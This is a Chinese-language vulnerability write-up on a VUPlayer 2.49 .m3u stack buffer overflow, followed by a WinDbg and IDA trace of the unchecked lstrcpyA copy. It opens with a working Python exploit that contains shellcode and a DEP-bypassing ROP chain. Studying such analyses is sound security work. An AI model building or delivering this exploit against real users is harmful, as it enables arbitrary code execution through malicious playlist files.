作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe
PoC:
#!/usr/bin/env python
#
# Exploit Title: VUPlayer <=2.49 .M3u Buffer overflow exploit with DEP bypass
# Date: 26-06-2016
# Exploit Author: secfigo
# Vendor Homepage: http://vuplayer.com/
# Software Link: https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe
# Version: VUPlayer <=2.49
# Tested on: Windows 7 SP1 DEP=alwayson
# Greetz: Raghu, nullSingapore
###################################################################################
import struct
###################################################################################
# Shellcode
# windows/exec CMD=calc.exe with size 227 and bad characters "\x00\x09\x0a\x0d\x1a"
###################################################################################
shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
"\x1c\x80")
junk = "HTTP://" + "A"*1005
###################################################################################
# rop gadgets with some modifications
# bad characters = "\x00\x09\x0a\x0d\x1a"
###################################################################################
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x10010157, # POP EBP # RETN [BASS.dll]
0x10010157, # skip 4 bytes [BASS.dll]
0x10015f77, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f72, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
0x101049ec, # POP ECX # RETN [BASSWMA.dll]
0x101082db, # &Writable location [BASSWMA.dll]
0x1001621c, # POP EDI # RETN [BASS.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
0x10604154, # POP ESI # RETN [BASSMIDI.dll]
0x10101c02, # JMP [EAX] [BASSWMA.dll]
0x10015fe7, # POP EAX # RETN [BASS.dll]
0x1060e25c, # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
0x10022aa7, # ptr to 'jmp esp' [BASS.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
eip = struct.pack('<L',0x10601033) # RETN (BASSMIDI.dll)
nops ="\x90"* 16
buffer = junk + eip + rop_chain + nops+ shellcode+ "C"*(3000-len(junk)-len(eip)-len(rop_chain)-len(nops)-len(shellcode))
print "[+] Creating .m3u file of size "+ str(len(buffer))
file = open('vuplayer-dep.m3u','w');
file.write(buffer);
file.close();
print "[+] Done creating the file"
https://www.exploit-db.com/exploits/40018/ 提供的是full exp,如果只是想触发crash可以把shellcode,rop等部分内容填充畸形字符串。
漏洞复现
此漏洞是由于VUPlayer在处理m3u文件时,由于对文件中的某结构体进行处理时会调用结构体中某部分进行处理,在处理时,没有对这部分内容进行长度检查,从而导致在调用lstrcpy后导致缓冲区溢出,覆盖返回地址,在返回时造成远程代码执行。通过构造这类畸形文件,用户点击时可以远程执行任意代码。下面对此漏洞进行详细分析。
首先重新构造PoC,缩小payload体积,这样可以暴露之前堆栈调用的情况,触发漏洞,附加windbg调试器。
0:009> g
(988.98c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=41414141 esp=0012ed14 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
通过kb查看一下堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012ed10 00ba0041 77c2fce0 0012ee70 00ba8bd4 0x41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL -
0012ed88 73d3423f 000003f9 00534284 ffffffff 0xba0041
*** WARNING: Unable to verify checksum for C:\Program Files\VUPlayer\VUPlayer.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\VUPlayer\VUPlayer.exe
0012eda8 00456151 00000000 0012ee70 0012f108 MFC42!Ordinal1636+0x1c
0012edb8 0048cfe7 0012fa04 00000000 00000000 VUPlayer+0x56151
注意观察一下00456151处的调用,是触发漏洞前唯一一次程序领空的调用,就由此入手进行分析。
漏洞分析
来看一下外层函数调用部分。
.text:00456140 sub_456140 proc near ; CODE XREF: sub_41F760+2C4p
.text:00456140 ; sub_42FA70+63p ...
.text:00456140
.text:00456140 var_4 = dword ptr -4
.text:00456140
.text:00456140 push ebp
.text:00456141 mov ebp, esp
.text:00456143 push ecx
.text:00456144 mov [ebp+var_4], ecx
.text:00456147 push 0
.text:00456149 mov ecx, [ebp+var_4]
.text:0045614C call sub_455120
.text:00456151 mov esp, ebp
.text:00456153 pop ebp
.text:00456154 retn
.text:00456154 sub_456140 endp
0045614C处有一处call调用,调用了函数sub_455120,这个函数步过会直接到达漏洞场景,初步判定漏洞发生在此漏洞中,由此跟入函数。
0:009> g
Breakpoint 0 hit
eax=0012ee74 ebx=004667e0 ecx=0012ee70 edx=0012f0d8 esi=00000000 edi=0012f080
eip=00456140 esp=0012edbc ebp=0012f108 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
VUPlayer+0x56140:
00456140 55 push ebp
0:000> dd esp
0012edbc 0048cfe7 0012fa04 00000000 00000000
0012edcc 00000000 00000000 00000000 00000000
0012eddc 00000000 00000000 00000000 00000000
0012edec 00000000 00000000 0039f240 00390000
0012edfc 7c930202 00000073 00391c18 00390000
0012ee0c 00000000 0012ee00 00001000 0012f044
0012ee1c 7c92e900 00000088 0012f054 7c931008
0012ee2c 7c931066 7c9301bb 77bfc407 0000040d
0:000> dd 0012fa04
0012fa04 00b855c0 00509c64 73e086d4 00000000
0012fa14 00000000 00000000 00000000 00000000
0012fa24 00000000 73e086d4 73e086d4 00000000
0012fa34 00000000 00000000 00000000 77d29100
0012fa44 00000000 73e086d4 00000000 00000000
0012fa54 73e086d4 73e086d4 73e086d4 73e086d4
0012fa64 00000000 00000000 00000000 00000000
0012fa74 00000000 77d10000 73e086d4 00000000
0:000> dc 00b855c0
00b855c0 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
00b855d0 74655320 676e6974 64415c73 696e696d Settings\Admini
00b855e0 61727473 5c726f74 6c707576 72657961 strator\vuplayer
00b855f0 7065642d 75336d2e 00000000 00000000 -dep.m3u
进入函数,查看一下当前传入参数,发现传入参数某指针中存放着漏洞的PoC的m3u文件,接下来继续单步跟进。
.text:00455565 loc_455565: ; CODE XREF: sub_455120+433j
.text:00455565 mov edx, [ebp+var_8C]
.text:0045556B mov eax, [edx+74h]
.text:0045556E mov [ebp+var_64], eax
.text:00455571 push offset aMp4 ; "mp4"
.text:00455576 mov ecx, [ebp+var_64]
.text:00455579 push ecx ; unsigned __int8 *
.text:0045557A call ds:_mbsicmp
.text:00455580 add esp, 8
.text:00455583 test eax, eax
.text:00455585 jz short loc_4555CB
.text:00455587 mov edx, [ebp+var_8C]
.text:0045558D mov eax, [edx+74h]
.text:00455590 mov [ebp+var_68], eax
.text:00455593 push offset aM4a ; "m4a"
.text:00455598 mov ecx, [ebp+var_68]
.text:0045559B push ecx ; unsigned __int8 *
.text:0045559C call ds:_mbsicmp
.text:004555A2 add esp, 8
.text:004555A5 test eax, eax
.text:004555A7 jz short loc_4555CB
.text:004555A9 mov edx, [ebp+var_8C]
.text:004555AF mov eax, [edx+74h]
.text:004555B2 mov [ebp+var_6C], eax
.text:004555B5 push offset aM4b ; "m4b"
.text:004555BA mov ecx, [ebp+var_6C]
.text:004555BD push ecx ; unsigned __int8 *
.text:004555BE call ds:_mbsicmp
.text:004555C4 add esp, 8
.text:004555C7 test eax, eax
.text:004555C9 jnz short loc_4555DB
在单步跟踪的时候发现程序会进入一系列判断函数,通过ida跟踪发现是对文件类型的判断,接下来跟踪,可以看到程序加载了PoC中的某个字段。
0:000> p
eax=0012ee70 ebx=004667e0 ecx=00ba8bd4 edx=00000000 esi=00000000 edi=0012f080
eip=0045518f esp=0012ed14 ebp=0012eda8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x5518f:
0045518f 8b8574ffffff mov eax,dword ptr [ebp-8Ch] ss:0023:0012ed1c=0012ee70
0:000> p
eax=0012ee70 ebx=004667e0 ecx=00ba8bd4 edx=00000000 esi=00000000 edi=0012f080
eip=00455195 esp=0012ed14 ebp=0012eda8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x55195:
00455195 8b4804 mov ecx,dword ptr [eax+4] ds:0023:0012ee74=00ba8bd4
0:000> p
eax=0012ee70 ebx=004667e0 ecx=00ba8bd4 edx=00000000 esi=00000000 edi=0012f080
eip=00455198 esp=0012ed14 ebp=0012eda8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x55198:
00455198 8b51f8 mov edx,dword ptr [ecx-8] ds:0023:00ba8bcc=000003f9
0:000> p
eax=0012ee70 ebx=004667e0 ecx=00ba8bd4 edx=000003f9 esi=00000000 edi=0012f080
eip=0045519b esp=0012ed14 ebp=0012eda8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x5519b:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL -
0045519b 8955e8 mov dword ptr [ebp-18h],edx ss:0023:0012ed90=73e086d4
0:000> dc ecx
00ba8bd4 50545448 412f2f3a 41414141 41414141 HTTP://AAAAAAAAA
00ba8be4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8bf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c04 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c14 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c24 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c34 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
注意ecx的值,是由00455195位置的eax+4地址存放的值赋予的,是一个指针,那么可以判断eax此时是一个结构体类型,在其+4偏移处存放的是这个畸形结构体。
接下来继续单步跟踪。
0:000> p
eax=00000001 ebx=004667e0 ecx=0012ee70 edx=002c0000 esi=00000000 edi=0012f080
eip=0045573c esp=0012ed14 ebp=0012eda8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x5573c:
0045573c 8b8d74ffffff mov ecx,dword ptr [ebp-8Ch] ss:0023:0012ed1c=0012ee70
0:000> p
eax=00000001 ebx=004667e0 ecx=0012ee70 edx=002c0000 esi=00000000 edi=0012f080
eip=00455742 esp=0012ed14 ebp=0012eda8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x55742:
00455742 e859dbffff call VUPlayer+0x532a0 (004532a0)
到达00455742地址位置的call调用时,单步步过程序到达漏洞位置,查看一下此时call调用时的传参情况。
0:000> dc ecx
0012ee70 00509c64 00ba8bd4 00000000 00000000 d.P.............
0012ee80 00000000 00000000 00000000 00000000 ................
0012ee90 73e086d4 73e086d4 00000000 00000000 ...s...s........
0012eea0 00000000 00000000 00b10000 00000000 ................
0012eeb0 73e086d4 00000000 00000000 73e086d4 ...s...........s
0012eec0 73e086d4 73e086d4 73e086d4 00000000 ...s...s...s....
0012eed0 00000000 00000000 00000000 00000000 ................
0012eee0 00120000 00ba8bd4 00390178 73e086d4 ........x.9....s
0:000> dc 00ba8bd4
00ba8bd4 50545448 412f2f3a 41414141 41414141 HTTP://AAAAAAAAA
00ba8be4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8bf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c04 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c14 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c24 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c34 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c44 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到畸形字符串作为参数传入,接下来跟入这个函数。
0:000> p
eax=00000000 ebx=004667e0 ecx=0012ee70 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=004532fc esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x532fc:
004532fc 8b5104 mov edx,dword ptr [ecx+4] ds:0023:0012ee74=00ba8bd4
0:000> p
eax=00000000 ebx=004667e0 ecx=0012ee70 edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=004532ff esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x532ff:
004532ff 89958cfbffff mov dword ptr [ebp-474h],edx ss:0023:0012e898=01000000
0:000> dc edx
00ba8bd4 50545448 412f2f3a 41414141 41414141 HTTP://AAAAAAAAA
00ba8be4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8bf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c04 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c14 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c24 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c34 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c44 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
同样在这里会对畸形字符串进行获取,地址仍然在eax结构体偏移为0x4位置,接下来继续单步跟踪。
0:000> p
eax=00000000 ebx=004667e0 ecx=0012ee70 edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=00453305 esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x53305:
00453305 8b858cfbffff mov eax,dword ptr [ebp-474h] ss:0023:0012e898=00ba8bd4
0:000> p
eax=00ba8bd4 ebx=004667e0 ecx=0012ee70 edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=0045330b esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x5330b:
0045330b 50 push eax
0:000> p
eax=00ba8bd4 ebx=004667e0 ecx=0012ee70 edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=0045330c esp=0012e818 ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x5330c:
0045330c 8d8d10fcffff lea ecx,[ebp-3F0h]
0:000> p
eax=00ba8bd4 ebx=004667e0 ecx=0012e91c edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=00453312 esp=0012e818 ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x53312:
00453312 51 push ecx
0:000> p
eax=00ba8bd4 ebx=004667e0 ecx=0012e91c edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=00453313 esp=0012e814 ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x53313:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
00453313 ff1514125000 call dword ptr [VUPlayer+0x101214 (00501214)] ds:0023:00501214={kernel32!lstrcpyA (7c80be91)}
在00453313位置进行了一处调用,调用的是lstrcpy函数,来查看一下拷贝了哪个字符串。
0:000> dd esp
0012e814 0012e91c 00ba8bd4 0012f080 00000000
0012e824 00000000 7c934029 7c93401c 00000208
0012e834 0012ec04 0012ebdc 00000070 00000000
0012e844 00000000 00000000 0012ee70 00390000
0012e854 7c930202 00000004 00390748 00390000
0012e864 00ba15a8 0012e858 00000000 0012ea9c
0012e874 7c92e900 7c930208 ffffffff 7c930202
0012e884 7c93017b 7c9301bb 00000000 00000018
0:000> dc poi(esp+4)
00ba8bd4 50545448 412f2f3a 41414141 41414141 HTTP://AAAAAAAAA
00ba8be4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8bf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c04 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c14 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c24 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c34 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ba8c44 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
真是畸形字符串的内容,接下来单步跟踪到返回地址。
0:000> p
eax=00000000 ebx=004667e0 ecx=77c0f000 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=00453334 esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
VUPlayer+0x53334:
00453334 83bd0cfcffff00 cmp dword ptr [ebp-3F4h],0 ss:0023:0012e918=00000000
0:000> p
eax=00000000 ebx=004667e0 ecx=77c0f000 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=0045333b esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x5333b:
0045333b 0f848a060000 je VUPlayer+0x539cb (004539cb) [br=1]
0:000> p
eax=00000000 ebx=004667e0 ecx=77c0f000 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=004539cb esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x539cb:
004539cb 8b4df4 mov ecx,dword ptr [ebp-0Ch] ss:0023:0012ed00=41414141
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=004539ce esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x539ce:
004539ce 64890d00000000 mov dword ptr fs:[0],ecx fs:003b:00000000=0012ed00
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=004539d5 esp=0012e81c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x539d5:
004539d5 5f pop edi
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=004539d6 esp=0012e820 ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x539d6:
004539d6 5e pop esi
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=004539d7 esp=0012e824 ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x539d7:
004539d7 8be5 mov esp,ebp
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=004539d9 esp=0012ed0c ebp=0012ed0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x539d9:
004539d9 5d pop ebp
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=004539da esp=0012ed10 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
VUPlayer+0x539da:
004539da c3 ret
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=41414141 esp=0012ed14 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
41414141 ?? ???
从上往下观察这个动态调试过程,在进行一次判断后跳转到结束位置,会出栈后ret,而在这个过程中,由于lstrcpy造成的缓冲区溢出,覆盖了返回地址,来看一下这个伪代码的调用过程。首先是外层函数调用中。
if ( mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMod)
&& mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aS3m)
&& mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aXm)
&& mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aIt)
&& mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMtm)
&& mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMo3)
&& mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aUmx) )
{
if ( mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMp3)
&& mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMp2) )
{
if ( mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aWav) )
可以看到进行了各种判断,主要是对文件类型的判断,接下来。
result = (FILE *)sub_453B20(v4);
}
}
else
{
result = (FILE *)sub_4539E0(v4);
}
}
else
{
result = sub_4532A0((void *)v4);
}
}
else
{
result = (FILE *)sub_453110(v4);
}
}
else
{
result = (FILE *)sub_452680(v4);
会根据判断的结果,进行文件类型的调用,调用函数就是问题函数,这里没有对结构进行长度检查,接下来看一下漏洞函数。
FILE *__thiscall sub_4532A0(void *this)
{
v17 = this;
sub_456160(0, 0, 0, 1);
String1 = String2;
memset(&v46, 0, 0x100u);
v47 = 0;
v48 = 0;
lstrcpyA(&String1, *((LPCSTR *)v17 + 1));
result = fopen(&String1, Mode);
File = result;
if ( result )
{
}
return result;
这里就比较清晰了,在漏洞函数中,通过lstrcpy会造成栈溢出,而在这之后对string1进行文件打开操作,显然被畸形字符串覆盖的string1不可能打开成功,if条件不通过,直接返回,而由于返回地址被覆盖,从而导致任意代码执行。